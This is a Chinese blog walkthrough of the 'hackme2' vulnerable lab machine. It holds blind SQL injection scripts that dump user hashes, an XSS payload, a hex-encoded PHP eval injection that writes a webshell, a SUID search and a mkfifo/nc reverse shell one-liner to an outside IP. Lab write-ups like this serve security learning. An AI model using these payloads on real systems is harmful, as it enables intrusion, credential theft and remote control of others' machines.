文章目录

  • 写在前面
  • nmap扫一下端口
  • 渗透开始!
    • 登陆后的sql注入
      • 有回显的注入
    • XSS漏洞
    • 注册时的漏洞
    • 登录时是否存在sql注入?
  • 拿到管理员权限
    • 文件上传漏洞
    • SSTI
  • 提权!
  • 总结
  • 最最最最最后

写在前面

最近看到貌似有些靶机挺好玩的 下了个靶机来玩一下

nmap扫一下端口


扫到了 直接进入

渗透开始!

登陆后的sql注入

猜测 search 有sql注入
sqlmap简单梭以下 没啥反应。。。
回过头来手工fuzz一下 nb 666 我的宝贝

好了 直接快进到爆库
现在想想 可能是这回显 sqlmap看不懂。。。

从fuzz的结果看出来 首先是单引号闭合

我们利用以下方法来注入

OSINT' and (命令)#
OSINT' and (length(database())>8)#

直接写个脚本爆库名 解决一下大小写问题?

sql = 'select group_concat(schema_name) from information_schema.schemata'
sql = sql.replace(" ","/**/")
target = ""
for i in range(1,100):for j in range(65,123):payload = "OSINT'/**/and/**/ord(substr(({}),{},1))='{}'#".format(sql,i,j)res = requests.post(url=url,data={"search":payload},cookies=cookies)# print(payload)if "OSINT" in res.text:target += chr(j)print(target)

这里是真的狗!
中间要加 /**/ 不然出不来!

payload = "OSINT' and (substr((SELECT/**/version()),{},1)='{}')#".format(i,chr(j))

改进一下 把大小写区分开(我本机的环境 就用复杂的脚本 咱就是横!

payload

sql = "select group_concat(user) from webapphacking.users limit 0,1"
#select group_concat(column_name) from information_schema.columns where table_schema = 'webapphacking' and table_name = 'users' limit 0,1
#id    user    pasword    name    address
sql = sql.replace(" ","/**/")
#select user from users limit 0,1
#被过滤了·?
#换句话?
target = ""
for i in range(0,200):for j in range(44,123):payload = "OSINT'/**/and/**/ord(substr(({}),{},1))='{}'#".format(sql,i,j)res = requests.post(url=url,data={"search":payload},cookies=cookies)# print(payload)if "OSINT" in res.text:target += chr(j)print(target)
#user1 5d41402abc4b2a76b9719d911017c592
print(target)#user1,user2,user3,test,superadmin,test1
#5d41402abc4b2a76b9719d911017c592,6269c4f71a55b24bad0f0267d9be5508,0f359740bd1cda994f8b55330c86d845,05a671c66aefea124cc08b76ea6d30bb,2386acb2cf356944177746fc92523983,05a671c66aefea124cc08b76ea6d30bb,
#superadmin Uncrackable#user1,user2,user3,test,superadmin,test1,admin
#David,Beckham,anonymous,testismyname,superadmin,test1,b1ue0cean#NewtonCircles,Kensington,anonymous,testaddress,superadmin,test1,hcakyou.icu

有回显的注入


应该是可以回显注入的呀
构造一下payload?

那下面这些去打都可以出结果 这是什么神仙sql?(还是我太菜 不管了反正日出来了

or
or 1=2
or 1=1
' or 1=1 or 'x'='x

XSS漏洞

回到登录框 看看这边有没有什么搞头
直接bp扫描器一开

直接扫出了一个xss是我没想到的

payload

username=admint807c%22%3e%3cscript%3ealert(1)%3c%2fscript%3eoqu8p&password=password
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Login</title><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css"><style type="text/css">body{ font: 14px sans-serif; }.wrapper{ width: 350px; padding: 20px; }</style>
</head>
<body><div class="wrapper"><h2>Login</h2><p>Please fill in your credentials to login.</p><form action="/login.php" method="post"><div class="form-group "><label>Username</label><input type="text" name="username" class="form-control" value=""><span class="help-block"></span></div>    <div class="form-group "><label>Password</label><input type="password" name="password" class="form-control"><span class="help-block"></span></div><div class="form-group"><input type="submit" class="btn btn-primary" value="Login"></div><p>Don't have an account? <a href="register.php">Sign up now</a>.</p></form></div>
</body>
</html>

那么问题来了 怎么拿管理员cookie?
好像不太好利用?

来看看改密码有没有什么洞?

注册时的漏洞

注册有什么洞?

登录时是否存在sql注入?

关于 sql 注入 我们来理解一下登录的逻辑
如果我们只输密码的话 那么会先检验是否存在这个 账户
因此可以先测一波 用户名是否存在注入?
盲猜一波数据库语句(大概)

 select password from users where username = "admin";

如果没找到会返回没找到

搞点其他的 我们能不能利用这fuzz一下 看看还有哪些账户?
一个都没搞出来?可能是bp自带的usernames字典太拉

总而言之 最后总是要核对password的 那么直接fuzz一波password

没搞出来什么头绪 先放一放了

拿到管理员权限

文件上传漏洞

拿到管理员权限 之后是个文件上传漏洞 直接上传phtml文件
但是不知道文件上传路径 直接扫后台目录

[20:09:49] 301 -  320B  - /uploads  ->  http://192.168.186.129/uploads/

发现后跳转?
但是访问不了???

卡住了 不知道路径
看一下 下面的功能

SSTI

POST /welcomeadmin.php/welcomeadmin.php HTTP/1.1
Host: 192.168.186.129
fname=121&lname=2112&search=Search+User

能搞出来啥东西?
数据库都知道了
回去再看看?数据库里有name 爆出来看看

之后怎么搞。。。
不会再来个注入吧 那我心态炸了呀

换个号登录试试?
没屁用

再拿bp扫一下 结果又扫出来一个xss和一个csrf?
那么能不能用xss把文件上传的路径给带出来?
(又找到了个没卵用的xss。。。

应该突破口就是底下那个没完成的东西了
不会是模板注入吧。。。

竟然真的是模板注入(呜呜呜 欲哭无泪 卡了好长时间

不会能命令执行吧。。。。

呜呜呜 太不容易了(虽然很简单 但我菜的要死!!!

但貌似过滤了空格?貌似有长度限制???
写个脚本 每次这么填太麻烦!

貌似还是有些过滤的 不过很好绕!

试了半天 我靠。。只能第一层读文件 不知道咋过滤的

!读一下本页面php不就行了(我是**

import requests
url = "http://192.168.186.129/welcomeadmin.php/welcomeadmin.php/"
cookie = {"PHPSESSID":"3r732mjutcs1milos1j263mneg"}#more<>login.php
payload = "`cat<>welcomeadmin.php`"#search=Search+User
data = {"fname":"fuck","lname":payload,"search":"&search=Search+User"}
res = requests.post(url=url,cookies=cookie,data=data)
print(res.text)
<?php// Initialize the sessionsession_start();// Check if the user is logged in, if not then redirect him to login page
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){header("location: login.php");exit;
}?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Welcome</title><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css"><style type="text/css">body{ font: 14px sans-serif; text-align: center; }</style>
</head>
<body><div class="page-header"><h1>Hi, welcome back <b><?php echo htmlspecialchars($_SESSION["name"]); ?></b>. There are no anomalies detected.</h1><p><a href="reset-password.php" class="btn btn-warning">Reset Your Password</a><a href="logout.php" class="btn btn-danger">Sign Out of Your Account</a></p></div>Select Image to Upload:<form align="center" action="welcomeadmin.php" method="post" enctype="multipart/form-data"><input type="file" name="fileToUpload" id="fileToUpload"><input type="submit" value="Upload Image" name="submit"></form></br>
<?php
$target_dir = "/var/www/html/uploads/year2020/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
//    if($check !== false) {
//        echo "File is an image - " . $check["mime"] . ".";
//        $uploadOk = 1;
//    } else {
//        echo "File is not an image.";
//        $uploadOk = 0;
//    }
}
// Check if file already exists
if (file_exists($target_file)) {echo "Sorry, file already exists.";$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {echo "Sorry, your file is too large.";$uploadOk = 0;
}
// whitelist
//if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
//&& $imageFileType != "gif" ) {
//    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
//    $uploadOk = 0;
//}
//blacklist
if($imageFileType == "html" || $imageFileType == "js" || $imageFileType=="php" || $imageFileType=="php3" || $imageFileType=="php4" || $imageFileType=="php5") {echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";$uploadOk = 0;
}// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to the uploads folder.";} else {echo "Sorry, there was an error uploading your file.";}
}
?></br>
</br>
</br>
</br>
</br>This is a feature still undergoing testing.You can search for users activity here:<form action="welcomeadmin.php" method="post"></br>First Name:<input type="text" name="fname" id="fname"></br>Last Name: <input type="text" name="lname" id="lname"></br></br><input type="submit" value="Search User" name="search"></form>
</br>
<?php$fname = $_POST["fname"];$lname = $_POST["lname"];$lname = preg_replace('/[;\s]/','',$lname);if($fname=="" || $fname==" " || $lname=="" || $lname==" "){echo "You have to search with both First and Last name";}else{echo "The system is checking the backend for user: ".$fname ." ".$lname." ";echo "</br>";echo "</br>";echo "User ". $fname. " ";eval("echo ".$lname.";");echo " cannot be found";}
?>cannot be found

这下把源码都搞出来了 很好!
直接看关键部分

<?php$fname = $_POST["fname"];$lname = $_POST["lname"];$lname = preg_replace('/[;\s]/','',$lname);if($fname=="" || $fname==" " || $lname=="" || $lname==" "){echo "You have to search with both First and Last name";}else{echo "The system is checking the backend for user: ".$fname ." ".$lname." ";echo "</br>";echo "</br>";echo "User ". $fname. " ";eval("echo ".$lname.";");echo " cannot be found";}
?>

把 ;ban了。。。 包括空格、换行、tab缩进等所有的空白

我们能不能利用hex2bin来绕过?
可。。
我真tm是个天才(我是** 这么长时间才做到这。。。

echo hex2bin('73797374656d28276c732075706c6f61647327293b');

直接读文件?读了一下 可能确实没传进去
能不能直接写shell进去?
trytry

我们打算

echo "<?php eval($_POST[cmd]);" > ./uploads/fuck.php
payload = "eval(hex2bin('6563686f20223c3f706870206576616c28245f504f53545b636d645d293b22203e2075706c6f6164732f6675636b2e706870'))"

没写进去?

改进以下脚本 发现早就写进去了。。。只不过多了个 /year2020
我想死。。。

import requestsdef asciihex(str):res = ""for i in str:res += hex(ord(i))[-2:]return resurl = "http://192.168.186.129/welcomeadmin.php/welcomeadmin.php/"
cookie = {"PHPSESSID":"3r732mjutcs1milos1j263mneg"}exp = asciihex('cat ./uploads/year2020/hack.phtml')
payload = "eval(system(hex2bin('{}')).hex2bin('3b'))".format(exp)#search=Search+User
data = {"fname":"fuck","lname":payload,"search":"&search=Search+User"}
res = requests.post(url=url,cookies=cookie,data=data)
print(res.text)

提权!

find / -perm -u=s -type f 2>/dev/null

发现有一个文件可以提权!
但是有个问题。。。
yijian好像不接受提权。。。

所以还是要乖乖反弹shell

发现不能用 nc -e 哭了。。。什么垃圾靶机
学习了一下 别人的payload

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8.135.132.214 9999 >/tmp/f

在别的机子上就可运行 sudo (也不知道为啥
贴一篇P神文章
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

总结

不足:
1.虽然是一台很简单的机子 搞了大半天才搞完 发现 自己在实战时的经验不足 导致一些小坑不能很快处理
2.对漏洞不敏感 不能很快找到思路(要继续多练习
3.对一些基本操作 会用 —》 熟练

一丢丢优点:坚持自己做完了这个靶场。。(除了最后的nc 貌似机子也有一些毛病。。咳咳

收获:
1.对基本漏洞的熟悉
2.意外收获(几个xss的发现 并不是说他们对解题多重要 而是认识到了哪里可能有xss
3.一直破解的 喜悦感!!!

暑假还很长 b1ue0cean 继续努力吧! 希望能近W&M (虽然呆在V&N也挺好的 好耶

最最最最最后

菜菜 求大佬带带 呜呜呜

hackme2靶场刷题记录相关推荐

  1. 纵横网络靶场刷题记录

    目录 mms协议 大工UDP协议 工控蜜罐日志分析 隐信道数据安全分析 工控安全取证 MDNS协议介绍 简单流量分析 S7COMM协议分析 恶意软件后门分析 mms协议 纵横网络靶场社区 MMS简介 ...

  2. LeetCode刷题记录15——21. Merge Two Sorted Lists(easy)

    LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...

  3. LeetCode刷题记录14——257. Binary Tree Paths(easy)

    LeetCode刷题记录14--257. Binary Tree Paths(easy) 目录 前言 题目 语言 思路 源码 后记 前言 数据结构感觉理论简单,实践起来很困难. 题目 给定一个二叉树, ...

  4. LeetCode刷题记录13——705. Design HashSet(easy)

    LeetCode刷题记录13--705. Design HashSet(easy) 目录 LeetCode刷题记录13--705. Design HashSet(easy) 前言 题目 语言 思路 源 ...

  5. LeetCode刷题记录12——232. Implement Queue using Stacks(easy)

    LeetCode刷题记录12--232. Implement Queue using Stacks(easy) 目录 LeetCode刷题记录12--232. Implement Queue usin ...

  6. LeetCode刷题记录11——290. Word Pattern(easy)

    LeetCode刷题记录11--290. Word Pattern(easy) 目录 LeetCode刷题记录11--290. Word Pattern(easy) 题目 语言 思路 源码 后记 题目 ...

  7. LeetCode刷题记录10——434. Number of Segments in a String(easy)

    LeetCode刷题记录10--434. Number of Segments in a String(easy) 目录 LeetCode刷题记录9--434. Number of Segments ...

  8. LeetCode刷题记录9——58. Length of Last Word(easy)

    LeetCode刷题记录9--58. Length of Last Word(easy) 目录 LeetCode刷题记录9--58. Length of Last Word(easy) 题目 语言 思 ...

  9. LeetCode刷题记录8——605. Can Place Flowers(easy)

    LeetCode刷题记录8--605. Can Place Flowers(easy) 目录 LeetCode刷题记录8--605. Can Place Flowers(easy) 题目 语言 思路 ...

最新文章

  1. zookeeper适用场景:zookeeper解决了哪些问题
  2. Local Response Normalization作用——对局部神经元的活动创建竞争机制,使得其中响应比较大的值变得相对更大,并抑制其他反馈较小的神经元,增强了模型的泛化能力...
  3. [JavaWeb-Servlet]Servlet3.0注解配置
  4. magento php 所需模块,magento博客 - Magento2 创建基本模块
  5. P2345 奶牛集会/P2657 低头一族
  6. 写一个类Army,代表一支军队,这个类有一个属性Weapon数组w(用来存储该军队所拥有的所有武器), 该类还提供一个构造方法,在构造方法里通过传一个int类型的参数来限定该类所能拥有
  7. Python中*args和**kwargs的解释
  8. 【Nodejs】npm cnpm 淘宝镜像
  9. grayscale实现全站及局部变黑的效果 – 兼容IE/FF等浏览器
  10. suse mysql 库文件_suse 10 下mysql安装
  11. stm32for循环几个机械周期_带你了解包装机械设备的可调度性分析
  12. UE4 虚幻引擎,BluePrint蓝图接受输入
  13. 医疗物联网的定义的业务场景
  14. 贱人工具箱使用技巧5——批量修改文字
  15. 【学习笔记】SAP资产模块
  16. c语言求最小公倍数——三种方法
  17. css特殊符号编码大全
  18. Windows-Server-2016外置网卡,安装不了驱动,解决方法
  19. 什么是联想能力?如何提高联想能力?
  20. 微信公众号推送课表及天气(事无巨细+JavaScript版+python版)

热门文章

  1. Pulmonary--Detection7
  2. Mapx 错误集合(转载)
  3. AH463全极高灵敏低功耗霍尔开关
  4. jzoj5984. 【北大2019冬令营模拟2019.1.1】仙人掌 (分块)
  5. 航顺HK HK32F103CBT6 MCU
  6. 5月24日到5月30日
  7. 低通,高通,带通,带阻滤波器
  8. 破解IT公司高管频繁离职的密码
  9. 体验篇 - Zcash
  10. 无忌典藏《生态系列奥赛金奖》百度首发